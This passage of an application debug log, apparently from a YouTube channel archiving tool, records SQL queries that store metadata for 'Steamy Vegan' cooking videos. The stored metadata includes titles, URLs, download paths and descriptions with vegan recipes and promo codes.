beans\nChopped green onion\n\nMelt/warm cheese on tortillas for 20 seconds, add desired fillings, roll and air fry for 4 mins at 425F\n\n*CRRRRRISPY KALE CHIPS*\nKale\n1 tbsp oil\n¼ tsp salt\n¼ tsp smoked paprika\n¼ tsp onion powder\n¼ tsp onion powder\n\nToss kale in oil, salt and optional spices and air fry for 10 mins at 300F (put in cold air fryer and then let them cool in the fryer after they've finished baking)\n\n*SESAME SNAP COOKIES* makes 6\n½ cup tahini\n6 tbsp granulated sweetener\n2 tbsp ground chia seeds\n2 tbsp finely chopped nuts or seeds (cashews, peanuts, sesame seeds)\n\nCombine all ingredients minus the chopped nuts and scoop out 6 dollops on a lined baking tray. Flatten and top with chopped nuts, bake for 12 mins at 350F\n\n\n*MISO TAHINI GARLIC BUTTER*\n4 tbsp vegan butter\n3 tbsp tahini\n1 tbsp white miso paste\n2 cloves garlic, minced\n\nCombine all ingredients together in a bowl and transfer to a sealable jar. Use as a spread on toasted breads, buns, pizza crusts and more!\n\n\nPROMO CODES & LINKS\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "4 Ingredient, 10 Minute Vegan Recipes For LAZY People", 1, nil, false, "7QWf1NYbPsY", "https://www.youtube.com/watch?v=7QWf1NYbPsY", "/downloads/downloads/alec/Steamy Vegan/2024-08-04 4 Ingredient, 10 Minute Vegan Recipes For LAZY People/4 Ingredient, 10 Minute Vegan Recipes For LAZY People [7QWf1NYbPsY].NA", false, ~U[2024-08-04 00:00:00Z]] 20:31:07.326 [debug] QUERY OK source="sources" db=0.9ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.329 [debug] QUERY OK source="media_items" db=2.0ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-01 00:00:00Z], 1] 20:31:07.330 [debug] QUERY OK source="media_items" db=1.0ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out my Top 10 Vegan and Gluten-Free Costco Finds! I go over my favourite whole food plant based finds that you should know about 😉\n\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Top 10 Vegan Gluten-Free Costco Finds! Whole Food Plant Based", "6db93524-71b3-48ac-99da-b05f4eed97ff", 1, [], false, "1uDczkYFxiQ", "https://www.youtube.com/watch?v=1uDczkYFxiQ", 172, "/downloads/downloads/alec/Steamy Vegan/2024-08-01 Top 10 Vegan Gluten-Free Costco Finds! Whole Food Plant Based/Top 10 Vegan Gluten-Free Costco Finds! Whole Food Plant Based [1uDczkYFxiQ].NA", false, false, false, 1, ~U[2024-08-01 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Check out my Top 10 Vegan and Gluten-Free Costco Finds! I go over my favourite whole food plant based finds that you should know about 😉\n\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Top 10 Vegan Gluten-Free Costco Finds! Whole Food Plant Based", 1, nil, false, "1uDczkYFxiQ", "https://www.youtube.com/watch?v=1uDczkYFxiQ", "/downloads/downloads/alec/Steamy Vegan/2024-08-01 Top 10 Vegan Gluten-Free Costco Finds! Whole Food Plant Based/Top 10 Vegan Gluten-Free Costco Finds! Whole Food Plant Based [1uDczkYFxiQ].NA", false, ~U[2024-08-01 00:00:00Z]] 20:31:07.332 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.334 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-28 00:00:00Z], 1] 20:31:07.336 [debug] QUERY OK source="media_items" db=1.9ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join me for my easy summer meal prep! 🌱 I'll show you how I make lots of vegan and gluten-free meals for the week in just a few hours! 😊 We’ve got mushroom veggie burgers, zesty tex-mex coleslaw, crispy air fried potatoes and tofu veggie skewers. If you’re not into eating the same thing every day then this mix-and-match style of meal prep will definitely work for you!\n\nWATCH MY OTHER MEAL PREP VIDEOS ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\nThis meal prep takes 1½ to 2 hours\n\n*ORDER OF PREP: I started with what takes the longest to cook and the components I needed for several other recipes*\n1. Marinade tofu for skewers\n2. Cook rice for mushroom burgers\n3. Cut, season and air fry potatoes\n4. Prep ingredients and make mushroom burgers\n5. Chop cabbage, onion, carrot in food processor\n6. Make dressing for coleslaw in food processor, toss with veggies\n7. Chop veggies for skewers, assemble skewers\n\n*RECIPES* (steps are in video)\n\n*Tofu Veggie Skewers (15 min prep)*\n2 bell peppers, chopped in large pieces\n1 medium onion, chopped\n2 blocks extra firm tofu, cut into cubes\nMARINADE\nJuice of 1 small lime\n1 tbsp soy sauce or tamari\n1 tsp grated ginger\n2 tsp maple syrup\n1 tsp garlic powder\n½ tsp onion powder\n½ tsp salt\nGround black pepper\nFresh cilantro (optional)\n\n\n*Mushroom Burgers (35 mins prep)*\n1 pound mushrooms (4 oz shitake, 12 oz white/brown mushrooms)\n1 small chopped onion\n2 tbsp soy sauce or tamari\n2 tbsp balsamic vinegar (or vegan worcestershire sauce)\n1 tbsp ketchup\n2 garlic cloves, minced\n1 tsp smoked paprika (or ½ tsp liquid smoke)\n2 tsp gochujang\n½ cup chopped walnuts\n¼ cup ground flax seeds\n2 cups freshly cooked brown rice (1 cup dry)\n1 cup cooked lentils\n1 cup gluten-free bread crumbs (might need more)\n\n\n*Extra Crispy Air Fried Potatoes (10 mins prep, 30 min cook time)*\n3 lbs. mini potatoes\n1 tbsp soy sauce or tamari\n1½ tsp oil\n2 tbsp nutritional yeast\n½ tsp onion powder\n½ tsp garlic powder\n½ tsp Old bay seasoning\n\n*Jalapeno Corn Coleslaw (15 mins prep)*\n8 cups shredded green cabbage\n3 small carrots, grated\n2 cups corn kernels, fresh or canned\n½ cup chopped cilantro\n¼ cup pickled jalapenos, chopped\n¼ cup red onion, chopped\nDRESSING\n1 block silken tofu\n2 tbsp vegan mayo\n2 tbsp fresh lime juice & zest of 1 lime\n2 tbsp dijon mustard\n1 tbsp maple syrup\n1½ tbsp taco or fajita spice mix\n1 tsp salt, pepper to taste\n\n\nPROMO CODES & LINKS\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "EASY 2 Hour Summer Meal Prep! Vegan & Gluten Free", "5f69c315-24bf-463e-bdb2-bf171a6cdf91", 1, [], false, "GpBzMU_X0dg", "https://www.youtube.com/watch?v=GpBzMU_X0dg", 173, "/downloads/downloads/alec/Steamy Vegan/2024-07-28 EASY 2 Hour Summer Meal Prep! Vegan & Gluten Free/EASY 2 Hour Summer Meal Prep! Vegan & Gluten Free [GpBzMU_X0dg].NA", false, false, false, 1, ~U[2024-07-28 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Join me for my easy summer meal prep! 🌱 I'll show you how I make lots of vegan and gluten-free meals for the week in just a few hours! 😊 We’ve got mushroom veggie burgers, zesty tex-mex coleslaw, crispy air fried potatoes and tofu veggie skewers. If you’re not into eating the same thing every day then this mix-and-match style of meal prep will definitely work for you!\n\nWATCH MY OTHER MEAL PREP VIDEOS ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\nThis meal prep takes 1½ to 2 hours\n\n*ORDER OF PREP: I started with what takes the longest to cook and the components I needed for several other recipes*\n1. Marinade tofu for skewers\n2. Cook rice for mushroom burgers\n3. Cut, season and air fry potatoes\n4. Prep ingredients and make mushroom burgers\n5. Chop cabbage, onion, carrot in food processor\n6. Make dressing for coleslaw in food processor, toss with veggies\n7. Chop veggies for skewers, assemble skewers\n\n*RECIPES* (steps are in video)\n\n*Tofu Veggie Skewers (15 min prep)*\n2 bell peppers, chopped in large pieces\n1 medium onion, chopped\n2 blocks extra firm tofu, cut into cubes\nMARINADE\nJuice of 1 small lime\n1 tbsp soy sauce or tamari\n1 tsp grated ginger\n2 tsp maple syrup\n1 tsp garlic powder\n½ tsp onion powder\n½ tsp salt\nGround black pepper\nFresh cilantro (optional)\n\n\n*Mushroom Burgers (35 mins prep)*\n1 pound mushrooms (4 oz shitake, 12 oz white/brown mushrooms)\n1 small chopped onion\n2 tbsp soy sauce or tamari\n2 tbsp balsamic vinegar (or vegan worcestershire sauce)\n1 tbsp ketchup\n2 garlic cloves, minced\n1 tsp smoked paprika (or ½ tsp liquid smoke)\n2 tsp gochujang\n½ cup chopped walnuts\n¼ cup ground flax seeds\n2 cups freshly cooked brown rice (1 cup dry)\n1 cup cooked lentils\n1 cup gluten-free bread crumbs (might need more)\n\n\n*Extra Crispy Air Fried Potatoes (10 mins prep, 30 min cook time)*\n3 lbs. mini potatoes\n1 tbsp soy sauce or tamari\n1½ tsp oil\n2 tbsp nutritional yeast\n½ tsp onion powder\n½ tsp garlic powder\n½ tsp Old bay seasoning\n\n*Jalapeno Corn Coleslaw (15 mins prep)*\n8 cups shredded green cabbage\n3 small carrots, grated\n2 cups corn kernels, fresh or canned\n½ cup chopped cilantro\n¼ cup pickled jalapenos, chopped\n¼ cup red onion, chopped\nDRESSING\n1 block silken tofu\n2 tbsp vegan mayo\n2 tbsp fresh lime juice & zest of 1 lime\n2 tbsp dijon mustard\n1 tbsp maple syrup\n1½ tbsp taco or fajita spice mix\n1 tsp salt, pepper to taste\n\n\nPROMO CODES & LINKS\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free prote (truncated) 20:31:07.338 [debug] QUERY OK source="sources" db=0.9ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.341 [debug] QUERY OK source="media_items" db=2.9ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-25 00:00:00Z], 1] 20:31:07.343 [debug] QUERY OK source="media_items" db=1.6ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I Eat in a Day as a Vegan in VANCOUVER 🇨🇦 We hit up the Teahouse in Stanley Park, walked along the seawall, enjoyed Third Beach and went to Mila Plant-Based in Chinatown!\n\nVegan restaurants to check out while in Vancouver:\nMeet on Main, Meet in Gastown, Meet in Yaletown\nVegan Shoku Sushi\nMila Plant-Based\nVirtuous Pie (vegan pizza)\nCartems Donuts (vegan gluten free options)\nNuba (Lebanese, lots of vegan GF options)\nChickpea Restaurant\nFolk\nVegan Viet Family (Vietnamese)\n\n\nWatch my other 'What I Eat' videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nPROMO CODES & LINKS\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day as a Vegan in VANCOUVER 🇨🇦", "c7b20266-af14-48d2-9c62-0fec2a31d68f", 1, [], false, "IoR0vin9fkk", "https://www.youtube.com/watch?v=IoR0vin9fkk", 174, "/downloads/downloads/alec/Steamy Vegan/2024-07-25 What I Eat in a Day as a Vegan in VANCOUVER 🇨🇦/What I Eat in a Day as a Vegan in VANCOUVER 🇨🇦 [IoR0vin9fkk].NA", false, false, false, 1, ~U[2024-07-25 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "What I Eat in a Day as a Vegan in VANCOUVER 🇨🇦 We hit up the Teahouse in Stanley Park, walked along the seawall, enjoyed Third Beach and went to Mila Plant-Based in Chinatown!\n\nVegan restaurants to check out while in Vancouver:\nMeet on Main, Meet in Gastown, Meet in Yaletown\nVegan Shoku Sushi\nMila Plant-Based\nVirtuous Pie (vegan pizza)\nCartems Donuts (vegan gluten free options)\nNuba (Lebanese, lots of vegan GF options)\nChickpea Restaurant\nFolk\nVegan Viet Family (Vietnamese)\n\n\nWatch my other 'What I Eat' videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nPROMO CODES & LINKS\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day as a Vegan in VANCOUVER 🇨🇦", 1, nil, false, "IoR0vin9fkk", "https://www.youtube.com/watch?v=IoR0vin9fkk", "/downloads/downloads/alec/Steamy Vegan/2024-07-25 What I Eat in a Day as a Vegan in VANCOUVER 🇨🇦/What I Eat in a Day as a Vegan in VANCOUVER 🇨🇦 [IoR0vin9fkk].NA", false, ~U[2024-07-25 00:00:00Z]] 20:31:07.344 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.347 [debug] QUERY OK source="media_items" db=2.7ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-21 00:00:00Z], 1] 20:31:07.350 [debug] QUERY OK source="media_items" db=2.3ms idle=9.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join me for my Micro Meal Prep! 🌱 I'll show you how I prep lots of high protein vegan and gluten-free meals with just a few prepped components! 😊 We’ve got Tofu ‘Egg’ Patties, Mashed Chickpea Salad, Curried Lentils and a Tomato Basil White Bean Dip. If you don’t have the time to do a full-scale meal prep then this protein micro meal prep will be great for you!\n\nWant to explore more meal prep videos? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\n*RECIPES*\n\n*Tofu 'Egg' Patties*\n1 block extra firm tofu\n1 tbsp tahini\n1 tbsp soy sauce\n1 tsp dijon mustard\n2 tbsp chickpea flour\n1 tbsp nutritional yeast\n½ tsp kala namak\n½ tsp garlic powder\n½ tsp onion powder\n⅛ tsp turmeric\nGround black pepper to taste\n2 to 3 tbsp water to thin\n\n1. Preheat oven to 375F, lightly oil a parchment lined baking tray, set aside.\n2. Combine all sauce ingredients in small bowl until its a creamy, smooth batter. Add more water as needed until it resembles a slightly runnier pancake batter.\n3. Pat dry the block of tofu and cut in half width-wise. Turn each half on its side and slice in ¼” to ½” thick slices. You should get 8 slices\n4. Dip each slice into the eggy paste on both sides, shaking or scraping off any excess on the side of the bowl. Place each slice on the lined baking tray. Spread any leftover batter on the slices. Bake for 25 to 30 minutes, or until the edges of each tofu egg patty are slightly golden and crisp.\n5. Enjoy right away in sandwiches, wraps or on toast, or let cool and store in a sealed container in the fridge for up to 5 days.\n\n*Mashed Chickpea Salad*\n3 cups cooked chickpeas\n2 stalks celery, finely diced\n½ a medium onion, finely diced\n¼ cup vegan mayo\n⅓ cup diced sweet pickles OR ⅓ cup sweet green relish\n2 tbsp dijon mustard\n1 tsp garlic powder\n1 tsp onion powder\n½ tsp smoked paprika\nsalt and pepper to taste\n\n1. In a large mixing bowl, add the cooked chickpeas and mash well with a fork or potato masher. Add all remaining ingredients to the bowl and mix well to combine\n\n*Curried Lentils*\n1 tbsp oil\n2 tsp mustard seeds\n1 small white or yellow onion, chopped\n1 chopped tomato or 1 cup canned diced tomatoes\n1 tbsp curry powder\n2 cloves garlic, minced\n1½ cups dried split red lentils\n3 cups water or veg broth\n¾ tsp salt\nFreshly cracked black pepper\n¾ cup vegan sour cream or plain vegan yogurt\nJuice of 1 lime\n\n1. Heat the oil in a large heavy pot over medium heat. Once the oil is shimmering, add the mustard seeds. Once they start to pop add the onion and tomato. Cook, stirring frequently until the onion has softened and is nice a fragrant and the tomatoes have released their juices, about 6 to 7 minutes. Stir in the curry powder and minced garlic. Continue to cook, stirring frequently for about 2 more minutes.\n2. Add the red lentils and water/broth to the pot. Bring the mixture to a boil then turn heat to low. Cover and simmer until the lentils are tender, about 15 minutes. Uncover the pot and stir in the sour cream, lime juice, salt and pepper. Keep simmering uncovered until the lentils have thickened slightly and the sauce is hot once again.\n3. For a creamier texture, use an immersion blender and partially blend the lentils to your liking (even just a couple pulses is fine).\n4. Serve right away with flatbread, pita, with a grain or on its own, or transfer to storage containers and refrigerate for up to 5 days.\n\n\n*Tomato Basil White Bean Dip*\n1 can white beans\n¼ cup sun-dried tomatoes in oil\n2 tbsp nutritional yeast\n1 tsp garlic powder\nSalt and pepper to taste\nJuice of 1 small lemon\n¼ cup fresh basil leaves\n\n1. Combine all ingredients in a food processor and blend until smooth. \n\n\nPROMO CODES & LINKS\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Traine" <> ..., "MICRO Vegan Meal Prep | The Easiest Way to Meal Prep!", "4d5c60f8-6117-42bf-9436-2566c85c4702", 1, [], false, "iibFGwbG15U", "https://www.youtube.com/watch?v=iibFGwbG15U", 175, "/downloads/downloads/alec/Steamy Vegan/2024-07-21 MICRO Vegan Meal Prep | The Easiest Way to Meal Prep!/MICRO Vegan Meal Prep | The Easiest Way to Meal Prep! [iibFGwbG15U].NA", false, false, false, 1, ~U[2024-07-21 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Join me for my Micro Meal Prep! 🌱 I'll show you how I prep lots of high protein vegan and gluten-free meals with just a few prepped components! 😊 We’ve got Tofu ‘Egg’ Patties, Mashed Chickpea Salad, Curried Lentils and a Tomato Basil White Bean Dip. If you don’t have the time to do a full-scale meal prep then this protein micro meal prep will be great for you!\n\nWant to explore more meal prep videos? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\n*RECIPES*\n\n*Tofu 'Egg' Patties*\n1 block extra firm 